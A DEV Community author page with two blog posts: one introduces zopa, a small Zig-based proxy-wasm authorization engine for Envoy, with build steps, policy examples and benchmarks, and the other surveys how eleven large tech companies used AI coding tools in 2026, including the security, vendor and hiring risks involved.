DEV Community: kt

Introducing Zopa: a 60 KB authorization engine for proxy-wasm, written in Zig

kt — Sun, 10 May 2026 07:37:50 +0000

There are plenty of times you want to delegate "let this request through, or block it" to a wasm filter inside Envoy. API gateways, service mesh boundaries, L7 checkpoints. The default move is to use OPA's wasm build.

The trouble is OPA-as-wasm is heavy. The Go runtime, the Rego parser, and the evaluator are all in there. You only want to return allow/deny at the edge, but you ship something many times the size of the evaluator. Cedar and Casbin don't ship official wasm builds (as of May 2026). The slot for "drop-in proxy-wasm authorization filter" is empty.

zopa is what I built to fill that slot. A Zig wasm32-freestanding binary, ~60 KB at release. No GC; memory turns over on a per-request arena. It runs on any host that implements proxy-wasm 0.2.1 (Envoy / wasmtime / wamr / v8).

Big picture

Zopa assumes you separate where you write policy from where you evaluate it.

Policy authors write rules in Rego (OPA's policy language; a declarative DSL in the Datalog family). The CI converts that to AST (Abstract Syntax Tree) JSON. At Envoy startup the AST is handed to the wasm module as plugin config; on each incoming request, zopa evaluates and returns 1 or 0.

There's exactly one design call here: don't ship a language compiler inside the wasm module. OPA wasm is large because the Rego parser and evaluator are bundled together. Zopa pushes the parser out of the wasm (into a CI job) and keeps the wasm module focused on evaluation. That alone moves the binary size by orders of magnitude.

proxy-wasm refresher

proxy-wasm is the ABI spec for "filters in wasm" used by Envoy and friends. Most famous in Envoy, but anything embedding wasmtime / wamr / v8 can host it.

Three points cover the host/wasm relationship:

The host calls into wasm exports at request milestones (proxy_on_request_headers etc.).
The wasm pulls header values back through host imports (proxy_get_header_map_value).
Allow does nothing (Envoy continues). Deny asks the host to call proxy_send_local_response(403).

Zopa implements proxy-wasm 0.2.1. Spec body: proxy-wasm/spec.

Why it fits in 60 KB

The build:

zig build --release=small
ls -lh zig-out/bin/zopa.wasm
# -rw-r--r-- 1 you staff 60K  zopa.wasm

Three things drive the size:

wasm32-freestanding target. No WASI (the wasm syscall spec). No OS, no syscalls, only a thin slice of stdlib. freestanding drops every file I/O / network stub.
No GC. Zig has no garbage collector (like Rust, ownership is explicit and memory is hand-managed). The GC code and management metadata simply don't exist.
Zero deps. Nothing outside Zig stdlib. The JSON parser is hand-rolled (recursive descent) in src/json.zig, surrogate-pair handling included, in a few hundred lines.

OPA's wasm is large because it carries the Go runtime (with GC), the Rego parser, and the evaluator. Zopa took the opposite call on every point. The result is 60 KB.

Memory model

Zopa's heart is the memory layout. Two allocators, with different lifetimes and roles.

host_allocator is Zig stdlib's std.heap.wasm_allocator, a freelist-style allocator. It backs every buffer that crosses the host boundary. Lifetime: the whole module.

request_arena is std.heap.ArenaAllocator. Per-request scratch space. We call reset(.retain_capacity) at the end of evaluate().

An arena means "alloc as much as you want; everything goes away at the end". No individual free calls. With retain_capacity, the wasm linear memory pages aren't returned, so the next request reuses the existing capacity.

Net effect: after warmup, memory.grow (the wasm heap-grow instruction) stops firing. Throughput goes up; memory stays roughly flat. That's the source of that property.

The single rule that ties it together: a pointer minted by one allocator must only be released by the matching free path. The proxy-wasm shim returns host-malloc'd buffers via the host's free; the evaluator never calls free directly and instead leans on the arena reset.

Three-phase target rules

Zopa makes the decision independently in three HTTP phases. Each phase is bound to a different target rule name; if your policy contains a rule with that name, the phase fires; if not, the phase passes through silently.

Phase	Target rule	Input shape	On deny
`proxy_on_request_headers`	`allow`	`{method, path, headers}`	403
`proxy_on_request_body`	`allow_body`	`{body, body_raw}`	403 + Pause
`proxy_on_response_headers`	`allow_response`	`{response: {status, headers}}`	503

The key point: a policy with only an allow rule sails past the body and response phases untouched. At configure time we parse the policy JSON and remember whether allow_body / allow_response rules exist as bools; if they don't, the matching callbacks return Continue directly.

What happens during one request

When Envoy hands a single request to zopa, this is the timeline inside.

Three takeaways:

The policy AST is handed to us once at startup and copied into host_allocator. We don't re-receive it per request.
Every phase ends with arena.reset. Zopa carries no data across phase or request boundaries.
The body and response phases only run eval when the matching rule exists. The policy opts each phase in by writing a rule with that name.

evaluate() returns a plain i32:

Return	Meaning
`1`	allow. The target rule fired with a truthy value.
`0`	deny. No rule fired and no truthy default rule was present.
`-1`	error. Parse failure, unknown node, recursion cap, etc.

The proxy-wasm shim treats -1 the same as deny (broken policies block by default).

Policy AST

Zopa's input isn't Rego source; it's AST-shaped JSON. The supported nodes mirror a subset of Rego.

"role equals admin → allow" looks like:

{
  "type": "module",
  "rules": [
    {
      "type": "rule",
      "name": "allow",
      "default": true,
      "value": { "type": "value", "value": false }
    },
    {
      "type": "rule",
      "name": "allow",
      "body": [
        {
          "type": "eq",
          "left":  { "type": "ref", "path": ["input", "user", "role"] },
          "right": { "type": "value", "value": "admin" }
        }
      ]
    }
  ]
}

The evaluation rule is "OR every rule whose name is "allow"". If any body holds, allow=true. A default=true rule's value is the fallback for when nothing else fires.

Supported node types:

Node	Use
`value`	Literal (any JSON value)
`ref`	Path lookup, e.g. walking `input.user.role`
`compare`	Binary compare. `eq` / `neq` / `lt` / `lte` / `gt` / `gte`
`not`	Logical negation
`set`	Set literal
`some`	Existential quantifier: "some element x makes body true"
`every`	Universal quantifier: "every element x makes body true"
`call`	Builtin function call.
`module`	A set of rules. Optional `package` field carries the package name.
`modules`	Module bundle: multiple packages co-resident in a single VM.
`rule`	A single rule with `body` (AND) and `value`.

call ships with these four builtins:

Name	Args	Returns
`startswith`	(string, string)	bool
`endswith`	(string, string)	bool
`contains`	(string, string)	bool
`count`	(array / set / object / string)	number

some / every also iterate over JSON objects: pick kind: "keys" (default) or kind: "values".

Zopa doesn't reach the full Rego (user-defined functions, with clauses, partial evaluation, imports, etc.). The scope is "decide allow/deny at the edge". Full reference: docs/ast.md.

Try it

Build

You need Zig 0.16.0:

brew install zig
git clone https://github.com/0-draft/zopa
cd zopa
zig build --release=small

Drive it directly (Node.js)

Call evaluate(input, ast) without going through proxy-wasm. Useful as a smoke test before standing up Envoy.

import { readFileSync } from 'node:fs';

const { instance } = await WebAssembly.instantiate(
  readFileSync('zig-out/bin/zopa.wasm'),
  { env: {
      proxy_log: () => 0,
      proxy_get_buffer_bytes: () => 1,
      proxy_get_header_map_pairs: () => 1,
      proxy_get_header_map_value: () => 1,
      proxy_send_local_response: () => 0,
  }},
);
const { malloc, free, evaluate, memory } = instance.exports;

const enc = new TextEncoder();
function write(obj) {
  const bytes = enc.encode(JSON.stringify(obj));
  const ptr = malloc(bytes.length);
  new Uint8Array(memory.buffer, ptr, bytes.length).set(bytes);
  return [ptr, bytes.length];
}

const [ip, il] = write({ user: { role: 'admin' } });
const [ap, al] = write({
  type: 'compare', op: 'eq',
  left:  { type: 'ref',   path: ['input', 'user', 'role'] },
  right: { type: 'value', value: 'admin' },
});

console.log(evaluate(ip, il, ap, al)); // 1 (allow)
free(ip); free(ap);

The proxy_* stubs in env are there because proxy-wasm imports must resolve before the wasm module instantiates. evaluate itself doesn't call into them, so dummies are fine.

As an Envoy proxy-wasm filter

Drop the wasm into http_filters. Two important fields: vm_config and configuration.

http_filters:
  - name: envoy.filters.http.wasm
    typed_config:
      "@type": type.googleapis.com/envoy.extensions.filters.http.wasm.v3.Wasm
      config:
        configuration:
          "@type": type.googleapis.com/google.protobuf.StringValue
          value: |
            {"type":"module","rules":[
              {"type":"rule","name":"allow","default":true,
               "value":{"type":"value","value":false}},
              {"type":"rule","name":"allow","body":[
                {"type":"eq",
                 "left":{"type":"ref","path":["input","method"]},
                 "right":{"type":"value","value":"GET"}}]}
            ]}
        vm_config:
          runtime: envoy.wasm.runtime.v8
          code:
            local:
              filename: /etc/zopa/zopa.wasm

configuration.value is the policy AST as JSON. The example reads "GET passes; everything else denies".

A complete end-to-end sample lives in examples/envoy/; zig build test-envoy runs curl assertions against a real Envoy. CI exercises Node, wasmtime, and a real Envoy on every commit.

Container image

There's also a distroless OCI image. Multi-arch (amd64 / arm64) and cosign keyless-signed.

docker pull ghcr.io/0-draft/zopa:v0.2.0
docker run --rm --entrypoint=ls ghcr.io/0-draft/zopa:v0.2.0 -lh /zopa.wasm

The intended use is staging /zopa.wasm from an initContainer into the Envoy sidecar pod.

Latency

zig build bench runs a zopa-only latency benchmark. On a local M-series Mac with --release=small:

fixture                 |    p50 |    p95 |    p99 |   mean
------------------------+--------+--------+--------+-------
01_static               |  1.79  |  2.96  |  3.46  |  1.73  (μs)
02_header_eq            |  4.42  |  4.96  |  5.17  |  4.48  (μs)

Literal true policy: 1.79 μs at p50. A simple input.method == "GET" style compare: 4.42 μs at p50. Wall-clock direct measurement, 10 000 iterations after 1 000 warmup. No head-to-head against OPA / Cedar yet; cross-engine numbers wait until the conformance corpus is wide enough to honestly assert "same answer".

Where it sits relative to alternatives

Item	OPA	Cedar	Casbin	zopa
Language	Go	Rust	Go (+ ports)	Zig
Wasm distribution	Yes (heavy)	No	No	Yes (~60KB)
Memory model	GC	RC + arenas	GC	per-request arena
proxy-wasm	Side project	No	No	First-class
Policy input	Rego source	Cedar source	CSV / source	Compiled AST
Maturity	CNCF Graduated	Stable	Mature	Alpha

Zopa isn't a replacement for OPA when you need full Rego, the management plane, bundle distribution, partial evaluation, or the state API. Use OPA for those. Zopa solves a narrow case: "I can compile the policy elsewhere and just want to evaluate at the edge". For that case, the wasm binary is two orders of magnitude smaller than OPA's.

It fits when "Rego-ish syntax, but OPA is too heavy" and "Cedar / Casbin can't go to wasm" line up at the same time.

Try it and tell me

Zopa's source is 8 files under src/, no deps outside stdlib, readable top to bottom. Sized so that if you want to change something, you can fork and rewrite.

Feedback I'd love:

"tools/rego2ast.py rejects my policy with Unsupported on this node, please add it"
"proxy-wasm host X (Istio / Kong / APISIX) worked / didn't work like this"
"Cases I'd add to the conformance corpus"
"The allow_body 64 KiB cap is too small / too large"

Reference

Repo: https://github.com/0-draft/zopa
Issues: https://github.com/0-draft/zopa/issues
v0.2.0 release: https://github.com/0-draft/zopa/releases/tag/v0.2.0
OCI image: ghcr.io/0-draft/zopa:v0.2.0
proxy-wasm spec: https://github.com/proxy-wasm/spec

What 11 big tech companies actually do with AI in 2026

kt — Sat, 09 May 2026 12:40:10 +0000

Introduction

I keep having this conversation lately, both inside and outside work.

"How are you using AI?"
"Mostly Claude Code and Cursor. Hooked our internal wiki up over MCP too."
"Yeah, same here."

That's where it stops. We can both say "the tools are installed" without flinching. But beyond that, the second you ask what actually changed, or how it shows up in any organizational number, the answers thin out fast. Every engineer I know is using AI day to day, yet I rarely get the feeling that it's translated into anything visible at the team or company level.

Meanwhile, when you read the news about companies that everyone agrees are good at this, the numbers are on a different scale. Google says 75% of new code is AI-generated. Stripe's internal coding agents merge 1,300+ PRs a week. Mercari reports 95% of employees actively use AI tools and that per-engineer output is up 64% year over year.

What's behind that gap? What are these companies concretely doing, and what do they have that the rest of us don't? I went through the major IT companies (US and Japan) end to end and pulled this together as a single map.

Everything below leans on first-party sources: official blogs, CEO statements, internal memos that went public, research workshop materials. Where I'm guessing, I say so. Where I don't know, I leave it out.

One thing to set up first: in 2026, Claude is the de facto standard for coding

Before getting into individual companies, here's a piece of context worth front-loading. As of May 2026, Claude (Anthropic) dominates the coding-tool space by a wide margin. The Pragmatic Engineer survey from February 2026 makes this concrete:

Tool	Share naming it the "most loved coding tool"
Claude Code	46%
Cursor	19%
GitHub Copilot	9%

The latest SWE-bench Verified numbers tell the same story: Claude Sonnet 4.6 sits at 82.1%, while Gemini 3 is at 63.8%, an 18-point spread. Meta's DevMate (covered later) runs on Claude. Reporting suggests even some Google engineers reach for Claude Code internally.

OpenAI's Codex hit 3 million weekly active users by March 2026, so it has the biggest base by raw user count. But the same surveys put it below Claude Code, Cursor, and Copilot when you ask developers what they actually love using. Wide reach (Codex / ChatGPT) and high agent-quality reputation (Claude Code) are running on different metrics in 2026. ChatGPT and Gemini are roughly tied for general-purpose chat, but for coding agents specifically, Claude is clearly out in front.

0. Glossary: terms used throughout

Skip this section if you already know all of these. I'm trying to avoid arguments downstream.

0.1 The four generations of coding AI

The shape of coding AI has shifted a lot over the past few years. As of May 2026, we're at generation 4.

Generation	Name	What it does	Representative tools
Gen 1	Code completion	Suggest the next tokens, accept with Tab	GitHub Copilot (2021)
Gen 2	Chat / inline edits	Edit multiple files via natural language	Cursor / Copilot Chat / ChatGPT
Gen 3	Agent	Take an Issue and produce a PR autonomously	Claude Code / Codex (OpenAI) / Copilot Coding Agent / Devin
Gen 4	Multi-agent / autonomous execution	Run agents in parallel, human approves at key points	Claude Code Auto Mode / Codex Cloud / Copilot subagent / Minions

Gen 3 means: hand the agent an Issue or ticket, and it plans, implements, runs tests, and opens a PR. It runs npm install and pytest itself. The "internal agents" you'll see throughout this article are mostly Gen 3.

Gen 4 layers something on top: one engineer running multiple agents in parallel, only stepping in to approve key decisions. That's how Anthropic itself works internally, and it's the direction every company in this article is pushing toward.

0.2 Tools by name

Quick orientation on the tools that come up below.

GitHub Copilot: Microsoft / GitHub's AI coding assistant. Started as Gen 1 completion in 2021; in 2026 it has a Gen 3 "Coding Agent" too.
Cursor: AI-first editor forked from VS Code. The flagship of Gen 2 (chat-driven multi-file editing). Spread fast as the day-to-day editor at Stripe, Shopify, Salesforce, and others.
Claude Code: Anthropic's CLI coding agent. The textbook Gen 3 tool: it edits files, runs commands, and runs tests from your terminal.
Codex (OpenAI): OpenAI's coding agent, relaunched in May 2025. Available across ChatGPT, a CLI, a desktop app, and IDE integrations. Runs on GPT-5.5-Codex. 3 million weekly actives as of March 2026 make its base the largest, but it trails Claude Code in pure coding-quality reputation (more on this later).
Amazon Q Developer: AWS's coding/operations AI. Strong at large migrations like Java 8 to Java 17.
DevMate / Minions / Agentforce: internal agents at Meta, Stripe, and Salesforce respectively. Detailed below.

0.3 MCP (Model Context Protocol)

A protocol Anthropic published at the end of 2024 for letting LLMs call external tools (your wiki, Slack, Jira, databases, the file system) in a standardized way. Think of it as "tool use, open-standardized." Cursor, Claude Code, Copilot, and basically every major tool can read MCP servers now. As of May 2026, "expose our internal tools as MCP servers so the agents can hit them" is a normal weekly task. That's what the opening conversation in this article was referring to.

0.4 RAG (Retrieval-Augmented Generation)

The technique for getting an LLM to answer using information it never saw during training (your internal docs, basically). When a question comes in, you retrieve relevant documents first, then pass them along to the LLM. Whenever I write "LLM-ifying internal search," that's what I mean.

0.5 Tier 1/2 support

Customer-support shorthand. Tier 1 handles simple FAQ-level questions, Tier 2 needs subject-matter expertise, Tier 3 escalates to engineering. This comes up in the Salesforce section.

1. The four layers of "AI use"

People say "AI use" like it's one thing. In practice, what companies are doing splits cleanly into four layers. If you have this map in mind, the rest of the article reads in a straight line.

Most companies are stuck at L1. Cursor and Claude Code are deployed company-wide, but no organizational number reflects it yet, that situation. "People are using it daily" is true, but no bridge has been built into L2 (operations) or L3 (customer-facing product). The 11 companies below have all pushed into L2, L3, and even L4. That's the gap.

From here I walk through each company in shallow-to-deep layer order (L1 first, then L1+L2, then L3, then L4). Every section says up front which layer that company is in.

2. Companies pushing hardest at L1

Four companies that have driven AI-generated code share to the extreme.

2.1 Google: 75% of new code is AI-generated

Layer focus: L1

This is the number Sundar Pichai went public with at Google Cloud Next 2026 in April:

October 2024: ~25% of new code AI-generated
Fall 2025: 50%
April 2026: 75%

3x in 18 months. Officially, the in-house base model for this is Gemini 3.1 Pro, which engineers use for generation, refactoring, and migrations. "AI-generated" here means "AI-suggested code that humans approved or edited." Every commit still goes through human review and automated tests. AI isn't deploying anything on its own.

Pichai also pointed at a concrete example: a complex code migration (large internal refactor) that engineers and agents did together finished 6x faster than the same kind of work would have taken engineers alone a year before.

The shape of engineering work is shifting. Less typing. More reviewing and design judgment.

But Google's internal reality is a Gemini/Claude two-tier setup

Here's where it gets interesting. Multiple public sources show that a non-trivial number of Google engineers are actually using Claude Code internally.

On January 3, 2026, Jaana Dogan, a principal engineer on Google's Gemini API team, posted publicly on X that Claude Code reproduced a complex distributed-systems design her team had spent a year on, in about an hour. The post got 5.4M views in 24 hours
BusinessToday reported in April 2026 that parts of Google DeepMind have official access to Claude Code
Steve Yegge (well-known ex-Googler) posted on X, citing anonymous Googler sources, that the company has a two-tier internal world: DeepMind people use Claude, and other engineers get pushed into in-house Gemini-based tools
Alphabet has announced an investment of up to $40B in Anthropic ($10B cash plus $30B tied to milestones). It reads as Alphabet trying to buy its way into Anthropic's lead on coding agents at the corporate level

So the "75% AI-generated" claim is real, but the AI on the other side of that number isn't all Gemini. There are clearly engineers reaching for Claude Code inside Google. The shift to review-and-judgment work is happening across the company, but underneath that, a quieter selection process is going on for which model is actually best at the job. That's the May 2026 picture.

2.2 Anthropic: "most of the code is written by Claude Code"

Layer focus: L1

Anthropic's own internal setup is the most extreme thing publicly documented. Their published material ("How Anthropic teams use Claude Code") says outright that the bulk of internal code is now written by Claude Code itself.

Engineers' actual jobs have collapsed into three things:

Architecture: deciding the overall structure
Product thinking: deciding what to build
Orchestration: running agents in parallel and steering them

In practice, one engineer runs several Claude Code agents on separate tasks and reviews the PRs they come back with.

In May 2026, Anthropic shipped Claude Code Auto Mode, which exposes that exact workflow externally. Approval gates stay, but the agent drives the task forward on its own. The human just signs off at key points.

2.3 Meta: DevMate is filing about half of all code changes

Layer focus: L1 and L4

Meta has been pushing an "AI-Native" stance hard since 2025. In December 2025, Mark Zuckerberg said outright that AI is now "core to how work happens."

Two main internal tools:

DevMate: an internal coding agent built on Anthropic's Claude
Metamate: a general-purpose assistant for everyone in the company

The number that stands out, from LinearB's reporting: DevMate already submits roughly 50% of all code changes at Meta. The other 50% is human-written, and both go through review before merging.

The interesting part is that Meta isn't holding itself to its own model (Llama). It's running Claude and Gemini inside its workflows. They've explicitly given up on "only our model" and gone with whichever is best per task.

Meta has also pushed into L4 (the evaluation layer). The Creation Org, which runs Facebook / WhatsApp / Messenger, set a target for the first half of 2026: 65% of engineers should write 75%+ of their code via AI. Meta's PR position is that the metric is "outcomes from AI," not "amount of AI usage." Whether the field reads it that way is another question.

2.4 Microsoft / GitHub: Copilot moves from completion to agent

Layer focus: L1

GitHub Copilot changed shape in 2026. One company is now carrying all three generations at once.

The center of the 2026 product is Copilot Coding Agent. Assign it an Issue, and it spins up in an isolated GitHub Actions runner, working only on copilot/* branches. It can't touch main or any protected branch. It writes code in that sandbox and ships you a PR.

In early 2026, Copilot also added a public preview that lets users invoke Anthropic's Claude Agent SDK from inside their Copilot subscription. Copilot users can now drive Claude-backed agents.

And starting June 2026, Copilot moves to token-based usage billing. Premium Request Units go away in favor of GitHub AI Credits. The product is shifting from "all-you-can-eat IDE helper" to something closer to an API service.

3. Companies that turned L1 + L2 into real numbers

Two companies that pushed past developer-side AI (L1) and started showing big numbers in internal operations (L2).

3.1 Amazon: 4,500 person-years saved with Q Developer

Layer focus: L1 and L2

Amazon's internal story is all about modernizing legacy applications.

Metric	Number
Amazon-internal Q Developer queries	1M+ in roughly a year
Engineering effort saved (internal use)	4,500 person-years
Cost equivalent	$260M+
Hours saved	450,000+
Production apps migrated	tens of thousands

The actual workload was things like "Java 8 to Java 17": large language/framework upgrades pushed through agents instead of humans. For a company with AWS-scale legacy code, this is the highest-value AI work they could be doing.

A note on timing: AWS is stopping new Q Developer signups on May 15, 2026 and consolidating their coding-AI products under Kiro (one week from when this article was written). The product is shrinking, but the internal payoff (4,500 person-years) is locked in. Still the largest known L2 result so far.

3.2 Stripe: Minions merge 1,300+ PRs a week

Layer focus: L1 and L2

Stripe's internal coding agent system is called Minions.

PRs merged per week: 1,300+
Use cases: API integration generation, docs, tests, refactors
Public benchmark: Stripe integration benchmark (an agent benchmark that mirrors a production-like API integration setup)

Minions is built around the idea of a "one-shot, end-to-end agent." Instead of letting a human jump in mid-task, it runs from Issue to PR in one go. If it fails, it retries itself. To make this reliable, Stripe wrote its own agent harness: the runtime that handles environment setup, tool exposure, retries, and state, all in one place.

For day-to-day editor use, Stripe's adoption of Cursor went from single-digit percent to over 80% in a short window, per co-founder Patrick Collison (it's quoted on Cursor's own customer page). Stripe has roughly 3,000 engineers, so that's at least 2,400 people now coding daily in Cursor.

4. Companies that put AI into the customer-facing product

L1 and L2 are still inside the org. From here, the product itself starts being run by AI (L3).

4.1 Salesforce: Agentforce saved $100M internally and put 18k engineers on Cursor

Layer focus: L3 and L1

Salesforce's AI agent platform is Agentforce. Internally, they pointed it at their own customer support first. The numbers Fortune put in print:

Customer conversations handled (internal use): 3 million
Cost reduction: $100M+
Sales opportunities influenced: 3,200+
Paid Agentforce deals as of March 2026: 6,000+

Mechanically: a customer hits Agentforce in natural language, and it answers and updates records by reading the knowledge base and the CRM. Only the cases it can't resolve get escalated.

The whole design has shifted: AI handles Tier 1/2 autonomously, humans only see the complex cases. AI isn't sitting alongside the human anymore. It's the first responder.

On the developer side, Salesforce moved 90% of its 20,000 engineers onto Cursor (per Cursor's own numbers). After rollout, the company says cycle time, PR velocity, and code quality each improved by double digits. So they're hitting both L1 and L3 hard.

4.2 Netflix: rebuilding the recommender on Large Foundation Models

Layer focus: L3

Netflix is interesting less for coding and more as an example of AI inside the product core.

The direction they laid out at the Personalization, Recommendation and Search Workshop (PRS 2025) in May 2025: replace the existing recommender with one built on Large Foundation Models (LFMs). LFMs are internet-scale pretrained models in the same family as the things behind ChatGPT.

Concretely, you'll be able to say "something light and funny under 90 minutes for a Friday night" in plain language, and the system will interpret that and serve the right suggestions. This is the conversational recommender direction. The recommendation cards and search bar move toward a chat-style UI.

Netflix has also been open about cost. They use a two-stage training setup: first stage pretrains a policy without specific reward optimization, second stage adds engineered proxy rewards. Pre-processing and model-training pipeline volume came down by about 70%. "How to run AI cost-efficiently" is going to be the next axis of competition.

5. Companies that pushed AI into the org itself (L4)

The last layer. Embedding AI into evaluation criteria and org design itself.

5.1 Shopify: Reflexive AI usage as a baseline expectation

Layer focus: L4 (and L1 across the board)

The internal memo Tobi Lütke (Shopify CEO) sent in April 2025 is the canonical example of this layer. He posted it publicly himself, so it's not really an internal memo anymore.

"Reflexive AI usage is now a baseline expectation at Shopify."

What that actually does to day-to-day work:

Three concrete things this implies:

Before requesting any new headcount, you have to document why AI can't do this job
Product designers are required to use AI for all new feature prototypes
AI use is part of performance reviews

This is the textbook L4 move. Lütke wrote it for the outside world, on purpose, and the framing has been picked up explicitly in moves at Meta and Mercari. "Can you actually use AI" has been promoted to a baseline engineering skill.

6. Japan: Mercari and CyberAgent

Two Japanese companies that are far enough out front to deserve their own section. They both span L1 to L4, so I'm grouping them by country rather than by layer.

6.1 Mercari: AI-Native at 95% adoption, plus the ASDD methodology

Layer focus: L1 to L4 (everything)

Mercari's numbers are out in the open on their engineering blog.

Metric	Number
Employee AI-tool usage	95%
AI-generated code share in product dev	70%
Per-engineer output (year over year)	+64%
AI Task Force size	100+ (40 of them full-time engineers)
Workflows targeted for AI-Native conversion	~4,000

The org structure is the unusual part. The "AI Task Force" they kicked off in July 2025 is staffed across 33 domains (legal, finance, HR, and more), with engineers and PMs assigned per domain. Internal operations (L2) are being rebuilt by full-time engineers, one domain at a time.

The piece that's distinctly Mercari is Agent-Spec Driven Development (ASDD), published in December 2025. Three points:

Specification format gets standardized first so AI agents have the right context
With the right prompt and spec, less-experienced engineers can drive the agents
Specialist tacit knowledge gets externalized into something the agents can read

It's not "make coding faster." It's rewriting the way design and specs are written so that agents can drive them, which is the L1-through-L4 move.

6.2 CyberAgent: in-house Japanese LLM and the AI Operations Office

Layer focus: L2 and L3

CyberAgent is unusual for being in on LLM development itself.

May 2023: built a Japanese-language LLM (13B parameters), then released a 6.8B commercially-licensable version
October 2023: stood up an "AI Operations Office"
2026 target: cut existing operations volume by roughly 60%
All-employee reskilling: ~6,200 staff went through "Generative AI Comprehensive Understanding" reskilling

The most successful business application has been bolting LLMs onto an existing AI product: their ad-effectiveness prediction system "Kyoku-Yosoku AI" got an LLM upgrade for accuracy. It wasn't "use LLMs from scratch." It was "use LLMs to extend an existing AI asset", which is generally the realistic order.

7. The whole map: 11 companies plotted on the four layers

Pulling back: L1 AI-generated-code share has settled into 50–75% as the new floor. L2 is producing real numbers in the thousands-of-person-years range. L3 is moving from "augment" to "replace": existing product features are being rebuilt on LLMs. L4 is still rare (Shopify, Meta, Mercari) but spreading.

One more cross-cutting fact that's worth saying out loud: the companies actually getting results from coding AI are using Claude. Anthropic obviously, Meta's DevMate is Claude-based, Google itself has multiple reports of internal Claude Code use, and Alphabet is putting up to $40B into Anthropic. Reaching for Cursor or Claude Code in May 2026 isn't just a tooling preference. It's also the rational model choice.

8. The catches: four problems every company in this article is sitting on

So far I've been describing the side that's pushing forward. If you push this hard and this fast, the side effects show up. Four of them are already visible in May 2026.

8.1 Security flaws in AI-generated code, and "slopsquatting"

Security was the first thing to break the surface. The 2026 numbers across various security reports:

Metric	Number
AI-generated codebases with at least one critical vuln	92%
Gartner: AI-generated code with some kind of vuln	48%
Rate at which LLMs recommend nonexistent packages	~20%

A new attack surface that came with all this: slopsquatting. The LLM tells you "run npm install of this library," but the package literally doesn't exist. Attackers register the name the LLM hallucinates first, in the actual registry. The agent installs without a second thought.

A real example: in January 2026, Aikido Security researcher Charlie Eriksen registered an LLM-hallucinated npm package named react-codeshift (for research). It propagated into 237 GitHub repositories. CSO Online has also called out the practice of copy-pasting MCP server configs from READMEs as a new attack vector ("MCP tool poisoning").

8.2 When the model vendor breaks, prod breaks

Anthropic's postmortem on April 23, 2026 (anthropic.com/engineering/april-23-postmortem) was a big talking point among teams that depend on Claude Code in production:

Three bugs overlapped, and Claude Code quality degraded for ~6 weeks
Cause 1: reasoning effort silently downgraded from high to medium (Mar 4 to Apr 7)
Cause 2: a caching bug in chain-of-thought pruning (Mar 26 to Apr 10)
Cause 3: a system-prompt change to reduce verbosity (Apr 16 to Apr 20)
Result: power users canceled subscriptions, and security folks publicly warned about "dangerously degraded code quality"

If your org has gone "most of our code is written by Claude Code," you've also signed up for "a vendor-side internal tweak can drag our quality down for six weeks." Internal AI breaking and internal dev grinding to a halt is no longer hypothetical in 2026. Anthropic reset usage limits after the incident and signed a SpaceX compute-capacity deal to absorb demand, but the structural vendor dependency stays.

8.3 The collapse of the junior hiring pipeline

This is industry-wide, not specific to one company. Once "prove AI can't do it before hiring" (Shopify's memo) gets copied around, junior listings dry up.

Metric	Number
Entry-level hiring at top 15 tech firms (2023→2024)	-25%
US junior engineer postings (since early 2024)	~-67%
UK entry-level tech postings (2024)	-46%
Employment for ages 22-25 in AI-exposed roles	-6%
Employment for ages 35-49 in the same roles	+9%

The structural problem is the obvious one: senior engineers were once junior engineers. The pipeline that turns 0-year-experience people into 5-10-year people is being shut off right now. Stack Overflow's December 2025 "AI vs Gen Z" piece raised the same alarm directly. "Cut the work AI can do" sounds rational on its own, but the same logic causes a senior shortage in 3 to 5 years.

8.4 Side effects of "AI usage as a quota"

Meta is the canonical case. "65% of Creation Org engineers should write 75%+ of their code via AI" is functionally a quota at the floor level, even if it's framed otherwise. The same period Meta has been pushing layoffs of up to 15,000 (~20% of headcount), with reports of a Reality Labs unit (~1,000 people) restructured into new roles ("AI Builder," "AI Pod Lead," "AI Org Lead").

Metric distortion is the failure mode here. If you optimize "amount of AI used," people route work through AI even when it doesn't help, just to hit the target. The thing you actually wanted to measure was "AI improved quality or speed," and that's a much harder number. Meta's PR position is that the framing is outcome-based, but the field-level risk of it being run as a literal quota gets flagged consistently.

8.5 Each company's specific pain, in one line

Company	Headline number	What's going wrong underneath
Google	75% AI-gen code	Two-tier (official Gemini, internal Claude) needs to resolve somehow
Microsoft / GitHub	Coding Agent	Token-based billing in June 2026 is unpopular and hard to budget for
Meta	DevMate 50% PRs	AI-usage targets are paired with massive layoffs, so the field reads it as a quota
Amazon	4,500 person-yrs	Q Developer signups stop May 15 2026, migration cost to Kiro for everyone (internal/external)
Anthropic	Most code by Claude	The 6-week quality regression in Apr 2026, demand consistently outrunning compute
Stripe	1,300 PRs/week	Slopsquatting and quality bugs scale with PR throughput
Salesforce	$100M saved	Tier 1/2 automation shrinks the human-operator career path
Shopify	Reflexive AI usage	"Prove AI can't" closes the entry door for juniors
Netflix	Pipeline -70%	The conversational UI shift may change how serendipitous discovery actually works
Mercari	95% AI usage	ASDD has to actually become the org-wide standard, plus 100-person Task Force overhead
CyberAgent	60% workload cut	In-house LLM upkeep cost; if the gap to foreign frontier models widens, what's plan B?

Behind every flashy number, a specific liability is accumulating. "Just bet everything on AI" is piling up other kinds of debt (junior pipeline, vendor lock-in, metric games), and you can see it in each company.

8.6 Output numbers are huge, outcome numbers aren't, people still get cut

This is the part that doesn't add up.

The flashy numbers from the 11 companies above are almost all on the output side: code generated, PRs filed, costs cut, usage rates. On the outcome side (revenue, market share, user satisfaction), it's much harder to point at an "the world has clearly shifted" example as of May 2026.

Company	Output (the loud number)	Outcome (any clear, AI-attributable shift in business?)
Google	75% AI-gen code	AI Overviews CTR is trending down, ad revenue flat, antitrust suits ongoing
Meta	DevMate 50% PRs	Stock pressured by AI capex worries, Reality Labs still bleeding
Microsoft	Copilot Coding Agent	Azure depends on OpenAI, Copilot revenue swinging on the billing-model change
Amazon	4,500 person-years saved	Q Developer is being shrunk and rolled into Kiro; product strategy keeps shifting
Stripe	1,300 PRs/week	IPO timing pushed back, no public number on revenue effect
Salesforce	$100M saved	ARR growth has slowed; the stock moved on Agentforce expectations, not yet results
Mercari	95% adoption, +64% output	GMV growth and margin haven't shown the same kind of step change

The only places I can point at as "actually transformed" are the companies selling AI tools. Cursor went from a few hundred million ARR to roughly $2B in a single year. Anthropic's revenue is on a similar curve. Companies deploying AI inside their business can't yet point at anything that obvious.

And yet the layoffs are at a scale we haven't seen before

That's the strange part. Outcomes aren't in, but headcount cuts are accelerating. Meta up to 15,000 (~20%), Microsoft 9,000 in 2025 alone, Salesforce, Amazon, Google all rolling.

I don't think there's one reason. Four motives are running simultaneously:

Motive	What it actually means
